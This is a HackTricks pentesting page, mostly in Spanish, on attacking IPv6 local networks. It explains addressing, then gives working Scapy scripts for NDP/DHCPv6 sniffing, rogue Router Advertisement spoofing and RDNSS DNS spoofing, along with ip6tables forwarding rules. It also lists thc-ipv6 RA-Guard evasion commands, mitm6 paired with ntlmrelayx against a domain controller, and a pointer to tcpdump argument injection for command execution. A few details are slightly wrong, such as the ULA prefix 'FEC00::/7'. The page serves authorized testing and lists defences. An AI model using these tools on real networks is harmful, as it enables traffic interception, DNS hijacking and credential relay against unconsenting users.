Pentesting IPv6

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

IPv6 Teoría básica

Redes

Las direcciones IPv6 están estructuradas para mejorar la organización de la red y la interacción entre dispositivos. Una dirección IPv6 se divide en:

  1. Prefijo de red: Los 48 bits iniciales, que determinan el segmento de red.
  2. ID de subred: Los 16 bits siguientes, usados para definir subredes específicas dentro de la red.
  3. Identificador de interfaz: Los 64 bits finales, que identifican de forma única a un dispositivo dentro de la subred.

Aunque IPv6 omite el protocolo ARP presente en IPv4, introduce ICMPv6 con dos mensajes principales:

  • Neighbor Solicitation (NS): Mensajes multicast para la resolución de direcciones.
  • Neighbor Advertisement (NA): Respuestas unicast a NS o anuncios espontáneos.

IPv6 también incorpora tipos de direcciones especiales:

  • Dirección loopback (::1): Equivalente a 127.0.0.1 de IPv4, para comunicación interna dentro del host.
  • Direcciones Link-Local (FE80::/10): Para actividades en la red local, no para el enrutamiento por Internet. Los dispositivos en la misma red local pueden descubrirse entre sí usando este rango.

Uso práctico de IPv6 en comandos de red

Para interactuar con redes IPv6, puedes usar varios comandos:

  • Ping direcciones Link-Local: Comprobar la presencia de dispositivos locales usando ping6.
  • Neighbor Discovery: Usa ip neigh para ver dispositivos descubiertos en la capa de enlace.
  • alive6: Una herramienta alternativa para descubrir dispositivos en la misma red.

A continuación hay algunos ejemplos de comandos:

ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80

# Alternatively, use alive6 for neighbor discovery
alive6 eth0

IPv6 addresses can be derived from a device’s MAC address for local communication. Here’s a simplified guide on how to derive the Link-local IPv6 address from a known MAC address, and a brief overview of IPv6 address types and methods to discover IPv6 addresses within a network.

Dada una MAC address 12:34:56:78:9a:bc, puedes construir la Link-local IPv6 address de la siguiente manera:

  1. Convert MAC to IPv6 format: 1234:5678:9abc
  2. Prepend fe80:: and insert fffe in the middle: fe80::1234:56ff:fe78:9abc
  3. Invert the seventh bit from the left, changing 1234 to 1034: fe80::1034:56ff:fe78:9abc

IPv6 Address Types

  • Unique Local Address (ULA): Para comunicaciones locales, no destinado al enrutamiento en Internet público. Prefix: FEC00::/7
  • Multicast Address: Para comunicación one-to-many. Entregado a todas las interfaces del grupo multicast. Prefix: FF00::/8
  • Anycast Address: Para comunicación one-to-nearest. Enviado a la interfaz más cercana según el protocolo de enrutamiento. Forma parte del rango global unicast 2000::/3.

Address Prefixes

  • fe80::/10: Link-Local addresses (similar a 169.254.x.x)
  • fc00::/7: Unique Local-Unicast (similar a rangos privados IPv4 como 10.x.x.x, 172.16.x.x, 192.168.x.x)
  • 2000::/3: Global Unicast
  • ff02::1: Multicast All Nodes
  • ff02::2: Multicast Router Nodes

Discovering IPv6 Addresses within a Network

  1. Obtén la MAC address de un dispositivo dentro de la red.
  2. Derive the Link-local IPv6 address from the MAC address.

Way 2: Using Multicast

  1. Send a ping to the multicast address ff02::1 to discover IPv6 addresses on the local network.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table

IPv6 Man-in-the-Middle (MitM) Attacks

Existen varias técnicas para ejecutar MitM attacks en redes IPv6, como:

  • Spoofing ICMPv6 neighbor or router advertisements.
  • Usar ICMPv6 redirect o mensajes “Packet Too Big” para manipular el enrutamiento.
  • Atacar mobile IPv6 (usualmente requiere que IPSec esté deshabilitado).
  • Configurar un rogue DHCPv6 server.

Identificación de direcciones IPv6 en la red

Explorando subdominios

Un método para encontrar subdominios que potencialmente estén vinculados a direcciones IPv6 consiste en aprovechar los motores de búsqueda. Por ejemplo, emplear un patrón de consulta como ipv6.* puede ser efectivo. Específicamente, el siguiente comando de búsqueda puede usarse en Google:

site:ipv6./

Utilizando consultas DNS

Para identificar direcciones IPv6, se pueden consultar ciertos tipos de registros DNS:

  • AXFR: Solicita una transferencia de zona completa, potencialmente revelando una amplia variedad de registros DNS.
  • AAAA: Busca directamente direcciones IPv6.
  • ANY: Una consulta amplia que devuelve todos los registros DNS disponibles.

Sondeo con ping6

Después de identificar direcciones IPv6 asociadas con una organización, se puede usar la utilidad ping6 para sondear. Esta herramienta ayuda a evaluar la capacidad de respuesta de las direcciones IPv6 identificadas, y también puede ayudar a descubrir dispositivos IPv6 adyacentes.

Técnicas de ataque en la red local IPv6

Las siguientes secciones cubren ataques IPv6 prácticos a nivel de capa-2 que pueden ejecutarse dentro del mismo segmento /64 sin conocer ningún prefijo global. Todos los paquetes mostrados abajo son link-local y viajan solo a través del switch local, lo que los hace extremadamente sigilosos en la mayoría de los entornos.

Ajuste del sistema para un laboratorio estable

Antes de experimentar con tráfico IPv6, se recomienda endurecer tu equipo para evitar ser envenenado por tus propias pruebas y obtener el mejor rendimiento durante massive packet injection/sniffing.

# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on

# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

Passive NDP & DHCPv6 Sniffing

Porque cada host IPv6 se une automáticamente a múltiples grupos multicast (ff02::1, ff02::2, …) y utiliza ICMPv6 para SLAAC/NDP, puedes mapear todo el segmento sin enviar un solo paquete. El siguiente one-liner de Python/Scapy escucha los mensajes L2 más interesantes e imprime un registro coloreado y con marcas de tiempo de quién es quién:

#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit:    'Solicit',
DHCP6_Advertise:  'Advertise',
DHCP6_Request:    'Request',
DHCP6_Reply:      'Reply',
DHCP6_Renew:      'Renew',
DHCP6_Rebind:     'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS:      ('Router Solicitation',  Fore.CYAN),
ICMPv6ND_RA:      ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS:      ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA:      ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect',             Fore.LIGHTRED_EX),
ICMPv6MLReport:   ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLReport2:  ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLDone:     ('MLD Done',             Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request',         Fore.LIGHTBLACK_EX),
ICMPv6EchoReply:  ('Echo Reply',           Fore.LIGHTBLACK_EX)
}

def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'

# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547:  # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return  # not a DHCPv6 message we track
else:
return  # not interesting

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"  MAC  {eth_src} -> {eth_dst}")
print(f"  IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)

if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)

Resultado: una topología link-local completa (MAC ⇄ IPv6) en cuestión de segundos, sin activar sistemas IPS/IDS que dependen de escaneos activos.

Router Advertisement (RA) Spoofing

Los hosts IPv6 dependen de ICMPv6 Router Advertisements para descubrir la puerta de enlace predeterminada. Si inyectas RAs forjados con mayor frecuencia que el router legítimo, los dispositivos cambiarán silenciosamente a ti como puerta de enlace.

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()

lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/  # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Para realmente reenviar el tráfico después de ganar la carrera:

sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Banderas de Router Advertisement (M/O) y Preferencia de Router Predeterminada (Prf)

BanderaSignificadoEfecto en el comportamiento del cliente
M (Managed Address Configuration)Señala que la asignación de direcciones con estado mediante DHCPv6 está disponible en el segmento.Fuerte indicio de que el DHCPv6 spoofing puede funcionar.
O (Other Configuration)Indica que los hosts deben usar DHCPv6 para parámetros adicionales (DNS, NTP, …).La dirección normalmente sigue proviniendo de SLAAC, pero el DNS puede ser secuestrado con DHCPv6.
M=0 / O=0Red puramente SLAAC.DHCPv6 puede no aparecer nunca; céntrate en RA maliciosos / RDNSS en lugar de mitm6.
M=1 / O=1Entorno mixto.Tanto la información de DHCPv6 como de SLAAC pueden coexistir; la superficie de spoofing es la mayor.

Durante un pentest puedes simplemente inspeccionar el RA legítimo una vez y decidir qué vector es factible:

sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134'   # capture Router Advertisements

Busca el campo flags [M,O] en el volcado – no hay que adivinar.

El campo Prf (Router Preference) dentro del encabezado RA controla cuán atractiva parece tu router malicioso cuando hay múltiples gateways presentes:

Prf valueBinaryMeaning
High10Los clientes prefieren este router sobre cualquier uno Medium/Low
Medium (default)01Usado por casi todos los dispositivos legítimos
Low00Elegido solo cuando no existe un router mejor

Al generar el paquete con Scapy puedes configurarlo mediante el parámetro prf como se muestra arriba (prf=0x1 → Alto). Combinar Prf Alto, un intervalo corto, y una duración distinta de cero hace que tu puerta de enlace maliciosa sea notablemente estable.


RDNSS (DNS) Spoofing via RA

RFC 8106 permite añadir una opción Recursive DNS Server (RDNSS) dentro de una RA. Esta es la primitiva de secuestro DNS de referencia cuando el segmento es solo SLAAC (M=0 / O=0) y los clientes no usan DHCPv6. El soporte por parte del cliente es dependiente de la implementación, así que valida el SO objetivo en el laboratorio en lugar de asumir un consumo universal de RDNSS.

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()

ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))

send(ra,iface=args.interface,loop=1,inter=args.interval)

El mismo paquete también puede llevar una opción DNSSL para envenenar rutas de resolución de nombres cortos en entornos IPv6-only o dual-stack donde los dominios de búsqueda importan. Si detienes el ataque de forma limpia, envía un RA de reversión con la misma opción y lifetime=0.

Evasión de RA-Guard en la práctica

RFC 7113 documenta por qué las implementaciones simplistas de RA-Guard pueden ser eludidas cuando no analizan la cadena completa de encabezados IPv6 o fallan al tratar fragmentos. Esto no es investigación nueva, pero sigue siendo relevante operativamente porque muchos switches de acceso solo implementan filtrado parcial.

Las versiones recientes de thc-ipv6 exponen esto directamente en las herramientas:

# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64

# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64

# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0

Usa estos solo después de confirmar que un RA forjado normal está siendo filtrado. Si -H/-D/-F de repente hace que los hosts acepten tu rogue router, tienes evidencia de que el switch está haciendo match solo con la cabecera IPv6 fija en lugar del payload real de ICMPv6 RA.

DHCPv6 DNS Spoofing (mitm6)

Cuando el RA legítimo anuncia M y/o O, los clientes Windows comúnmente emiten solicitudes DHCPv6 para dirección o configuración auxiliar. mitm6 abusa de ese comportamiento respondiendo al DHCPv6 e insertando tu link-local IPv6 como DNS con una concesión corta. Esto permite:

  • NTLM relay attacks (WPAD + DNS hijacking)
  • Intercepting internal name resolution without touching routers
  • Low-noise targeting because you can scope the poisoning to specific hosts or domains

Uso típico:

# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus

# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad

Detalles útiles de las compilaciones actuales de mitm6:

  • --no-ra mantiene el ataque solo por DHCPv6 cuando la red detecta RAs no autorizadas.
  • -d/--domain y --host-allowlist mantienen el poisoning más restringido en lugar de secuestrar todas las consultas en el segmento.
  • --ignore-nofqdn reduce el ruido de clientes que omiten la opción DHCPv6 FQDN.

Si el segmento es puro SLAAC (M=0 / O=0), mitm6 suele ser la herramienta equivocada. Usa RAs/RDNSS rogue en su lugar y mantén la lógica de relay de más alto nivel en la página WPAD/relay (the WPAD/relay page).

Defensas

  • RA Guard / DHCPv6 Guard / ND Inspection en switches gestionados.
  • ACLs de puerto que permiten solo al MAC del router legítimo enviar RAs.
  • Monitoriza unexpected high-rate RAs o RDNSS changes repentinos.
  • Desactivar IPv6 en endpoints es una solución temporal que a menudo rompe servicios modernos y oculta puntos ciegos — prefiere L2 filtering en su lugar.

NDP Router Discovery on Guest/Public SSIDs and Management Service Exposure

Muchos routers de consumo exponen daemons de gestión (HTTP(S), SSH/Telnet, TR-069, etc.) en todas las interfaces. En algunas implementaciones, el SSID “guest/public” está puenteado al WAN/core y es IPv6-only. Incluso si el IPv6 del router cambia en cada arranque, puedes aprenderlo de forma fiable usando NDP/ICMPv6 y luego conectar directamente al plano de gestión desde el SSID guest.

Flujo de trabajo típico desde un cliente conectado al SSID guest/public:

  1. Descubrir el router mediante ICMPv6 Router Solicitation al multicast All-Routers ff02::2 y capturar el Router Advertisement (RA):
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'

# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY

El RA revela la link-local del router y, a menudo, una dirección/prefijo global. Si solo se conoce una link-local, recuerda que las conexiones deben especificar el índice de zona, p. ej. ssh -6 admin@[fe80::1%wlan0].

Alternativa: usa la suite ndisc6 si está disponible:

# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
  1. Acceder a servicios expuestos a través de IPv6 desde la SSID de invitados:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
  1. Si el shell de gestión proporciona herramientas de captura de paquetes vía un wrapper (p. ej., tcpdump), comprueba inyección de argumentos/nombres de fichero que permita pasar flags extra de tcpdump como -G/-W/-z para lograr ejecución de comandos post-rotate. Véase:

Wildcards Spare tricks

Defences/notes:

  • No enlaces la gestión a bridges de invitados/públicos; aplica firewalls IPv6 en los bridges de SSID.
  • Limita y filtra NDP/RS/RA en segmentos de invitados cuando sea posible.
  • Para los servicios que deben ser accesibles, exige authN/MFA y rate-limits estrictos.

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks